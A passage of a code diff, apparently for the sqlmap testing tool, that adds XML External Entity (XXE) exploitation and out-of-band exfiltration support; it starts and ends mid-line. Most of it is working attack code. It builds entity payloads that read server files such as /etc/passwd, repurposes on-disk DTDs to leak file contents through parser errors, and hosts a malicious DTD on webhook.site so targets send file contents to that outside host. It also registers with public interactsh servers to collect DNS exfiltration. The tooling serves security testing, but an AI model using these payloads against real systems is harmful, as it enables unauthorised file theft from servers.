conf.ssti, conf.xxe)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg += "will be ignored by the '--%s' engine" % engine logger.warning(warnMsg) @@ -2581,6 +2582,26 @@ def _setDNSServer(): if not conf.dnsDomain: return + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) + return + infoMsg = "setting up DNS server instance" logger.info(infoMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8ead48604..08cbf800b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -125,6 +125,9 @@ optDict = { "ldap": "boolean", "xpath": "boolean", "ssti": "boolean", + "xxe": "boolean", + "oobServer": "string", + "oobToken": "string", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 39079dd02..7f4522c89 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.23" +VERSION = "1.10.7.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1071,6 +1071,73 @@ SSTI_ERROR_SIGNATURES = ( SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES) +# XXE parser error signatures for detection and fingerprinting. Each tuple is +# (parser_family, regex_fragment). A match means the XML surface reached a real +# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) - +# useful both as an error-based oracle and to fingerprint the back-end parser. +XXE_ERROR_SIGNATURES = ( + ("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"), + ("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"), + ("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"), + (".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"), + ("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"), + ("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"), + ("Go encoding/xml", r"XML syntax error on line \d+"), + ("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"), +) + +XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES) + +# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external +# entities explicitly refused). Reported as "reachable but protected" - never a hit. +XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)" + +# Benign, low-entropy files used only to demonstrate file-read impact once XXE is +# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a +# short host-identity file is enough to prove the read without tripping decoys. +# Out-of-band (interactsh) collector for blind XXE confirmation. Public default +# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server +# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match +# the interactsh defaults (subdomain = <20-char id><13-char nonce>.). +OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration +# (hosts the malicious external DTD and captures the file-bearing callback). Unlike +# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +OOB_EXFIL_ENDPOINT = "https://webhook.site" +OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" +OOB_CORRELATION_ID_LENGTH = 20 +OOB_NONCE_LENGTH = 13 +OOB_POLL_ATTEMPTS = 5 +OOB_POLL_DELAY = 2 + +# Time-based blind tier: an external entity aimed at this non-routable RFC5737 +# TEST-NET-1 host makes a fetching parser stall on the connection, so a large, +# reproducible response delay betrays otherwise-blind XXE with NO collector needed. +# The delay must exceed a DTD-processing control baseline by this many seconds. +XXE_BLACKHOLE_HOST = "192.0.2.1" +XXE_TIME_THRESHOLD = 5 + +XXE_IMPACT_FILES = ( + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), + ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last +) + +# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: +# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle +# an error/exfil primitive, so no outbound network is needed. (path, entity_name). +# Windows paths are community-sourced and remain UNVERIFIED vendor-side. +XXE_LOCAL_DTDS = ( + ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable + ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package + ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"), + ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile + ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED + ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"), + ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"), + ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), +) + # Upper bound for SSTI value extraction (reserved for future use) SSTI_MAX_LENGTH = 256 diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9081fe27d..d70b1001d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -440,7 +440,7 @@ def cmdLineParser(argv=None): help="Column values to use for UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", - help="Domain name used for DNS exfiltration attack") + help="Domain name used for DNS exfiltration attack (or 'interactsh' for zero-setup OOB)") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") @@ -790,6 +790,15 @@ def cmdLineParser(argv=None): nonsql.add_argument("--ssti", dest="ssti", action="store_true", help="Test for server-side template injection") + nonsql.add_argument("--xxe", dest="xxe", action="store_true", + help="Test for XML External Entity (XXE) injection") + + nonsql.add_argument("--oob-server", dest="oobServer", + help="Out-of-band server for blind '--xxe' (default: public interactsh; 'none' to disable OOB)") + + nonsql.add_argument("--oob-token", dest="oobToken", + help="Authentication token for a self-hosted '--oob-server'") + # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") diff --git a/lib/request/dns.py b/lib/request/dns.py index d51c79582..5b7082508 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -225,6 +225,60 @@ class DNSServer(object): thread.daemon = True thread.start() +class InteractshDNSServer(object): + """DNS exfiltration collector backed by a public (or self-hosted) interactsh + interaction server instead of a locally-bound privileged :53 socket. This lets + the '--dns-domain' data-exfiltration technique run with zero infrastructure - no + delegated authoritative domain, no root/Administrator, no reachable listener - + by resolving lookups under the interactsh correlation domain and polling them + back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it + is a drop-in for conf.dnsServer. + """ + + def __init__(self, server=None): + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package") + + self._client = Interactsh(server=server) + + if not self._client.registered: + raise socket.error("could not register with an interactsh interaction server") + + self.domain = self._client.dnsDomain() + self._seen = set() + self._running = True + self._initialized = True + + def run(self): + """No background listener is needed - interactsh does the receiving.""" + pass + + def pop(self, prefix=None, suffix=None): + """ + Returns a captured DNS lookup name matching the given prefix/suffix + (prefix..suffix.), mirroring DNSServer.pop(). + """ + + retVal = None + + for name in self._client.dnsNames(): + if name in self._seen: + continue + + if prefix is None and suffix is None: + self._seen.add(name) + retVal = name + break + + if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I): + self._seen.add(name) + retVal = name + break + + return retVal + if __name__ == "__main__": server = None try: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py new file mode 100644 index 000000000..b089dcd75 --- /dev/null +++ b/lib/request/interactsh.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import time + +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_CORRELATION_ID_LENGTH +from lib.core.settings import OOB_INTERACTSH_SERVERS +from lib.core.settings import OOB_NONCE_LENGTH + +# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an +# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py); +# without it the OOB tier is simply skipped rather than erroring. +try: + from Crypto.Cipher import AES + from Crypto.Cipher import PKCS1_OAEP + from Crypto.Hash import SHA256 + from Crypto.PublicKey import RSA + _HAS_CRYPTO = True +except ImportError: + _HAS_CRYPTO = False + + +def hasCrypto(): + return _HAS_CRYPTO + + +class Interactsh(object): + """Minimal interactsh client: registers a per-scan RSA key with a public (or + self-hosted) interactsh server, hands out unique callback URLs, and polls for + the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on + the wire and decrypted locally, so the server operator never sees their content. + All HTTP goes through sqlmap's own request stack (proxy/timeout honoured).""" + + def __init__(self, server=None, token=None): + self.server = None + self.token = token or conf.get("oobToken") + self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) + self.secret = randomStr(32, lowercase=True) + self.registered = False + self._key = None + self._dnsNonce = None + + if not _HAS_CRYPTO: + return + + self._key = RSA.generate(2048) + pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM")))) + candidates = [server] if server else list(OOB_INTERACTSH_SERVERS) + + for candidate in candidates: + if not candidate: + continue + body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) + if self._request("https://%s/register" % candidate, post=body): + self.server = candidate + self.registered = True + logger.debug("registered with OOB interaction server '%s'" % candidate) + break + + def _request(self, url, post=None): + """Direct request to the interactsh server (a fixed service, never the target). + Self-contained on urllib so it works regardless of sqlmap's request-stack init + order (it is also called during option setup, before getPage is usable); honours + --proxy and tolerates self-signed certs like the rest of sqlmap. Returns the + response body text on success, otherwise None.""" + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + if self.token: + headers[HTTP_HEADER.AUTHORIZATION] = self.token + + handlers = [] + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex))) + return None + + def url(self): + """Return a fresh unique callback URL (host = correlationId + nonce).""" + nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "http://%s%s.%s" % (self.correlationId, nonce, self.server) + + def dnsDomain(self): + """Stable domain suffix (host = correlationId + a fixed nonce) usable as an + exfiltration suffix - additional labels prepended by a payload still resolve + to this correlation id, so every DNS lookup under it is captured.""" + if not self._dnsNonce: + self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server) + + def dnsNames(self): + """Poll and return the fully-qualified names (minus the server suffix) of the + DNS lookups captured so far, e.g. 'prefix..suffix.'.""" + return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")] + + def poll(self): + """Return the list of decrypted interaction records captured so far.""" + if not self.registered: + return [] + + page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + if not page: + return [] + + try: + response = json.loads(page) + except ValueError: + return [] + + retVal = [] + data = response.get("data") or [] + if data: + try: + aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"])) + except Exception as ex: + logger.debug("OOB AES key decryption failed: %s" % getText(ex)) + return [] + + for item in data: + try: + raw = base64.b64decode(item) + plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:]) + retVal.append(json.loads(getText(plain))) + except Exception as ex: + logger.debug("OOB interaction decryption failed: %s" % getText(ex)) + + return retVal + + def pollUntil(self, attempts, delay): + """Poll repeatedly, returning as soon as any interaction is captured.""" + for _ in range(attempts): + time.sleep(delay) + interactions = self.poll() + if interactions: + return interactions + return [] + + def close(self): + if self.registered: + body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) + self._request("https://%s/deregister" % self.server, post=body) + self.registered = False diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py new file mode 100644 index 000000000..9191ae3ff --- /dev/null +++ b/lib/request/webhooksite.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json + +from lib.core.data import logger +from lib.core.convert import getText +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_EXFIL_ENDPOINT +from lib.request.connect import Connect as Request + +# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom +# response (our malicious external DTD) AND log the request the target then makes +# (carrying the file content). interactsh cannot host arbitrary content, hence the +# separate backend. HTTP-only, free tier, no account required for basic tokens. + + +class WebhookSite(object): + """Thin webhook.site client: mints tokens (optionally serving fixed content) + and reads back the requests captured on them. All calls go through sqlmap's + request stack (proxy/timeout honoured) straight to the service, not the target.""" + + def __init__(self): + # Exfil host is the public content-serving endpoint (its token API is + # service-specific, so --oob-server, which selects the interactsh *detection* + # server, deliberately does not repoint it). + self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/') + + def _api(self, path, post=None): + try: + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, + auxHeaders=headers, direct=True, silent=True, raise404=False) + return page if (code is None or code in (200, 201)) else None + except Exception as ex: + logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) + return None + + def newToken(self, content=None): + """Create a token. When `content` is given the token serves it verbatim + (used to host the external DTD). Returns the token UUID or None.""" + body = {"default_status": 200} + if content is not None: + body["default_content"] = content + body["default_content_type"] = "application/xml" + page = self._api("/token", post=json.dumps(body)) + if page: + try: + return json.loads(page).get("uuid") + except ValueError: + pass + return None + + def hostUrl(self, token): + """Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly + cannot fetch https external entities.""" + host = self.endpoint.split("://", 1)[-1] + return "http://%s/%s" % (host, token) + + def captured(self, token): + """Return the list of request records captured on `token` (newest first).""" + page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token) + if page: + try: + return json.loads(page).get("data") or [] + except ValueError: + pass + return [] diff --git a/lib/techniques/xxe/__init__.py b/lib/techniques/xxe/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/xxe/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py new file mode 100644 index 000000000..0a585c4d7 --- /dev/null +++ b/lib/techniques/xxe/inject.py @@ -0,0 +1,699 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import XXE_BLACKHOLE_HOST +from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_HARDENED_REGEX +from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import OOB_EXFIL_DEFAULT_FILE +from lib.core.settings import OOB_POLL_ATTEMPTS +from lib.core.settings import OOB_POLL_DELAY +from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_TIME_THRESHOLD +from lib.request.connect import Connect as Request + +# Fresh per-scan sentinel token. Deliberately a random opaque string (never +# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and +# so its presence in a response is unambiguously our reflected/expanded value. +SENTINEL = randomStr(length=12, lowercase=True) + +# First element of the document (skipping the prolog, comments and any +# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. +_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") + +# A leaf text node: >text< with no markup/entities inside. Used to place an +# entity reference where the application is most likely to echo it back. +_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<") + + +def _looksXml(data): + data = (getText(data) or "").strip() + return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data + + +def _cleanBody(): + """Return the original request body with sqlmap's injection marks removed. + Order matters: drop the injected custom marks first (any literal '*' from the + original body was already escaped to ASTERISK_MARKER by target processing), + then restore those escaped asterisks.""" + data = getText(conf.data or "") + data = data.replace(kb.customInjectionMark or "\x00", "") + data = data.replace(ASTERISK_MARKER, "*") + return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct + + +def _rootName(xml): + stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL) + stripped = re.sub(r"", "", stripped, flags=re.DOTALL) + stripped = re.sub(r"]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL) + match = _ROOT_RE.search(stripped) + return match.group(1) if match else None + + +def _auxHeaders(): + """Send an XML content-type unless the user already pinned one (via -H/-r).""" + for name, _ in (conf.httpHeaders or []): + if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return None + return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"} + + +def _send(body): + """Issue one request with a fully-crafted XML body, preserving sqlmap's normal + request machinery (URL, cookies, headers, proxy, delay) for everything else.""" + + if conf.delay: + time.sleep(conf.delay) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) + page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("XXE probe request failed: %s" % getUnicode(ex)) + return "" + + +def _buildDoctype(xml, rootName, internalSubset): + """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. + A document may already declare a DOCTYPE - injecting a second one is invalid + XML and every parser rejects it, so we splice into the existing declaration + instead (into its internal subset, or by adding one to a subset-less DOCTYPE).""" + + existing = re.search(r"\[]*\[", xml) + if existing: + # Splice our declarations into the existing internal subset. + insertAt = xml.index('[', existing.start()) + 1 + return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] + + subsetless = re.search(r"\[]*>", xml) + if subsetless: + # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): + # add an internal subset before its closing '>' (both may legally coexist). + close = xml.index('>', subsetless.start()) + return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] + + doctype = "" % (rootName, internalSubset) + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + if prolog: + end = prolog.end() + return xml[:end] + "\n" + doctype + xml[end:] + return doctype + "\n" + xml + + +def _placeRef(xml, snippet, attrs=False): + """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf + text node - not just the first - so detection does not depend on which field the + application happens to reflect. When `attrs` is set (internal-entity tier only), + also seed existing attribute values, since a general internal entity legally + expands inside an attribute (external entity refs do NOT - never seed attributes + for the external/XInclude tiers or the document becomes ill-formed). Falls back to + injecting just before the root's closing tag when there is no text node at all.""" + + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + head, tail = xml[:start], xml[start:] + tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + if attrs: + # Seed every attribute value except namespace declarations (xmlns / xmlns:*), + # whose rewriting would break the document. Only touches simple, entity-free + # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. + tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', + lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) + count += acount + if count: + return head + tail + + rootName = _rootName(xml) + if rootName: + close = "" % rootName + if close in xml: + idx = xml.rindex(close) + return xml[:idx] + snippet + xml[idx:] + # self-closing root: -> snippet + selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml) + if selfClose: + tag = selfClose.group(0) + opened = tag[:-2] + ">" + snippet + close + return xml[:selfClose.start()] + opened + xml[selfClose.end():] + return xml + + +def _fingerprint(page): + page = getUnicode(page or "") + for family, regex in XXE_ERROR_SIGNATURES: + if re.search(regex, page): + return family + return None + + +def _echoed(page): + """True when the response mirrors our raw markup back. Essential guard for the + sentinel-in-path oracles: a debug/echo endpoint that never parses XML would + otherwise reflect the sentinel (it is inside the body we sent) and look like a + genuine parser error. A real error surfaces only the path/message, not the + DOCTYPE/entity declarations.""" + page = getUnicode(page or "") + return "' % (ent, SENTINEL) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + page = _send(payload) + + if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: + return payload, page + return None, page + + +def _confirmRead(page, pattern, baseline): + """Return the first response line that matches a known file-content signature + and is absent from the baseline. The baseline guard is essential: it stops a + generic short reply (e.g. 'received', 'ok') from matching a loose pattern.""" + + baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines()) + for line in getUnicode(page).splitlines(): + line = line.strip() + if line and line not in baselineLines and re.search(pattern, line): + return line + return None + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target: place the external + entity between two random markers so the exact file content can be sliced out + of the response regardless of surrounding template. Raw file:// works for text + files; php://filter base64 (PHP) carries files with XML-special bytes. Returns + the file content or None.""" + + from lib.core.convert import decodeBase64 + + resource = fileName if fileName.startswith("/") else "/" + fileName + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + for systemId, isB64 in (("file://%s" % resource, False), + ("php://filter/convert.base64-encode/resource=%s" % resource, True)): + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + continue + data = match.group(1) + if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo + continue + if isB64: + try: + data = getText(decodeBase64(data.strip())) + except Exception: + continue + if data and data.strip(): + return data + return None + + +def _tryExternalFile(xml, rootName, baseline): + """Impact demonstration once XXE is live: read a benign host-identity file via + an external general entity. Returns (systemId, snippet) on a confirmed read.""" + + for systemId, pattern in XXE_IMPACT_FILES: + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + snippet = _confirmRead(_send(payload), pattern, baseline) + if snippet: + return systemId, snippet + return None, None + + +def _tryPhpFilter(xml, rootName, baseline): + """PHP-only in-band read that survives newlines/binary: base64 a source file + through php://filter. Confirmed when the reflection decodes to file content.""" + + from lib.core.convert import decodeBase64 + + baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) + for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): + resource = systemId[len("file://"):] + ent = randomStr(length=8, lowercase=True) + subset = '' % (ent, resource) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(payload) + for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)): + if token in baselineTokens: + continue + try: + decoded = getText(decodeBase64(token)) + except Exception: + continue + if decoded and re.search(pattern, decoded, re.M): + return payload + return None + + +def _tryError(xml, rootName): + """T3 error-based: a parameter entity points at a non-existent path carrying + the sentinel. Confirmed when the sentinel surfaces inside a parser error.""" + + subset = '\n%%xxe;' % SENTINEL + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, page + + +def _tryLocalDtd(xml, rootName): + """T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its + parameter entities to load a sentinel path, and read the sentinel back out of + the resulting parser error - no outbound network required.""" + + for dtdPath, entName in XXE_LOCAL_DTDS: + subset = ( + '\n' + "%xxe;'>\n" + "%%local_dtd;" + ) % (dtdPath, entName, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, "" + + +def _tryErrorExfil(xml, rootName): + """In-band error-based file EXFILTRATION: coerce the parser into an error whose + message embeds the target file's contents (not just a sentinel). Two vehicles: + (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on + the exfil service -> needs egress to fetch it plus verbose errors. php://filter + base64 carries a whole multi-line file intact; raw file:// leaks the first line + on any parser. Returns (content, filename) or (None, None).""" + + from lib.core.convert import decodeBase64 + + fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE + resource = fileName if fileName.startswith("/") else "/" + fileName + marker = randomStr(10, lowercase=True) + # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) + reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), + ("file://%s" % resource, False)) + + def _extract(page, isB64): + pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) + match = re.search(pattern, getUnicode(page)) + if not match: + return None + if isB64: + try: + return getText(decodeBase64(match.group(1))) or None + except Exception: + return None + return match.group(1) + + # (a) local-DTD repurposing - no egress + for dtdPath, entName in XXE_LOCAL_DTDS: + for systemId, isB64 in reads: + inner = ('' + '">' + '%eval;%error;') % (systemId, marker) + subset = '\n\n%%local_dtd;' % (dtdPath, entName, inner) + content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64) + if content: + return content, fileName + + # (b) DTD we host on the exfil service - egress + verbose errors (third party) + if not _oobEnabled(): + return None, None + from lib.request.webhooksite import WebhookSite + wh = WebhookSite() + for systemId, isB64 in reads: + dtd = ('\n' + '">\n' + '%%eval;\n%%error;') % (systemId, marker) + token = wh.newToken(dtd) + if not token: + break + content = _extract(_send(_buildDoctype(xml, rootName, ' %%dtd;' % wh.hostUrl(token))), isB64) + if content: + return content, fileName + + return None, None + + +def _tryXInclude(xml, rootName, baseline): + """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as + text. Confirmed when the file content appears in the response (baseline-guarded).""" + + for systemId, pattern in XXE_IMPACT_FILES: + snippet = '' % systemId + payload = _placeRef(xml, snippet) + confirmed = 